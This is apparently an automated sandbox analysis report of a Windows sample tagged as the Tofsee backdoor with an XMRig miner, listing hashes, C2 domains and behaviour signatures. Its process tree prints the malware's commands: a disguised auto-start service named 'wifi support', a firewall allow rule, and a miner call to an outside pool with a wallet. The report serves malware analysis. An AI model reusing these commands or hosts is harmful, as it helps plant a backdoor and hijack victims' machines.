Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-1703_x64
  • resource
    win10-20220901-en
  • resource tags

    arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/09/2022, 11:05

General

  • Target

    7d396a366093301230d10080ba771b06193fcfa920e4f8005d2309ad9efa3349.exe

  • Size

    202KB

  • MD5

    95d6d6c9d3039e7a8129f7646e620ffd

  • SHA1

    4edae4076ff0cfae9c687f9aac43a3b0dc6efcf7

  • SHA256

    7d396a366093301230d10080ba771b06193fcfa920e4f8005d2309ad9efa3349

  • SHA512

    9167d4fc76b49eeb0ddb42a73c2a0f387180b5611d7e50a3e48dfc6d9fa753f1fca70f1152d212548517e211b7e9367a2adeaed0e6c044dfc1260f370fc873b3

  • SSDEEP

    3072:uuWxz7ZAj5Ro67/LzmaRApDHFRreR0OOaXBTT64vBWUjML/PkxXx:QR67/ntARe2za44v4

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7d396a366093301230d10080ba771b06193fcfa920e4f8005d2309ad9efa3349.exe
    "C:\Users\Admin\AppData\Local\Temp\7d396a366093301230d10080ba771b06193fcfa920e4f8005d2309ad9efa3349.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2484
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jailecg\
      2⤵
        PID:4056
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jtzfyivw.exe" C:\Windows\SysWOW64\jailecg\
        2⤵
          PID:3460
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jailecg binPath= "C:\Windows\SysWOW64\jailecg\jtzfyivw.exe /d\"C:\Users\Admin\AppData\Local\Temp\7d396a366093301230d10080ba771b06193fcfa920e4f8005d2309ad9efa3349.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3496
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jailecg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jailecg
          2⤵
          • Launches sc.exe
          PID:4892
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:496
      • C:\Windows\SysWOW64\jailecg\jtzfyivw.exe
        C:\Windows\SysWOW64\jailecg\jtzfyivw.exe /d"C:\Users\Admin\AppData\Local\Temp\7d396a366093301230d10080ba771b06193fcfa920e4f8005d2309ad9efa3349.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:720
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4576
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1848

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\jtzfyivw.exe

              Filesize

              10.0MB

              MD5

              4e1dac34a1458c754895e8f62bc97c63

              SHA1

              c3bef637191fa6786720fbcdcd6f60b3d0a53a82

              SHA256

              12a0a70c41a5206af591b42cc0412d04b2f6be23584565662d64a4bc521e1f16

              SHA512

              05c0cf6e3bbcb00fdc132f0b1373a032b80a0f74cb45d40074823483c29856d6701af7a92fbf9c15da73faa44193bf666a56deb6ea949b2017c6e1b9650adcde

            • C:\Windows\SysWOW64\jailecg\jtzfyivw.exe

              Filesize

              10.0MB

              MD5

              4e1dac34a1458c754895e8f62bc97c63

              SHA1

              c3bef637191fa6786720fbcdcd6f60b3d0a53a82

              SHA256

              12a0a70c41a5206af591b42cc0412d04b2f6be23584565662d64a4bc521e1f16

              SHA512

              05c0cf6e3bbcb00fdc132f0b1373a032b80a0f74cb45d40074823483c29856d6701af7a92fbf9c15da73faa44193bf666a56deb6ea949b2017c6e1b9650adcde

            • memory/720-316-0x0000000000400000-0x000000000058C000-memory.dmp

              Filesize

              1.5MB

            • memory/720-308-0x0000000000670000-0x00000000007BA000-memory.dmp

              Filesize

              1.3MB

            • memory/2484-161-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-158-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-128-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-129-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-130-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-131-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-132-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-133-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-134-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-136-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-137-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-138-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-139-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-140-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-141-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-143-0x0000000000590000-0x000000000063E000-memory.dmp

              Filesize

              696KB

            • memory/2484-142-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-144-0x0000000000730000-0x0000000000743000-memory.dmp

              Filesize

              76KB

            • memory/2484-145-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-146-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-147-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-148-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-149-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-150-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-151-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-152-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-153-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-154-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-155-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-156-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-157-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-166-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-159-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-160-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-120-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-162-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-163-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-164-0x0000000000400000-0x000000000058C000-memory.dmp

              Filesize

              1.5MB

            • memory/2484-127-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-165-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-121-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-168-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-169-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-170-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-122-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-167-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-123-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-226-0x0000000000400000-0x000000000058C000-memory.dmp

              Filesize

              1.5MB

            • memory/2484-223-0x0000000000730000-0x0000000000743000-memory.dmp

              Filesize

              76KB

            • memory/2484-124-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-125-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/2484-126-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/3460-180-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/3460-178-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/3460-181-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/3460-187-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/3460-179-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/3496-191-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/3496-185-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/3496-186-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/3496-184-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/3496-183-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/4056-177-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/4056-174-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/4056-172-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/4056-173-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/4056-175-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/4576-397-0x0000000002BE0000-0x0000000002BF5000-memory.dmp

              Filesize

              84KB

            • memory/4576-488-0x0000000002BE0000-0x0000000002BF5000-memory.dmp

              Filesize

              84KB

            • memory/4916-192-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB

            • memory/4916-190-0x0000000077D90000-0x0000000077F1E000-memory.dmp

              Filesize

              1.6MB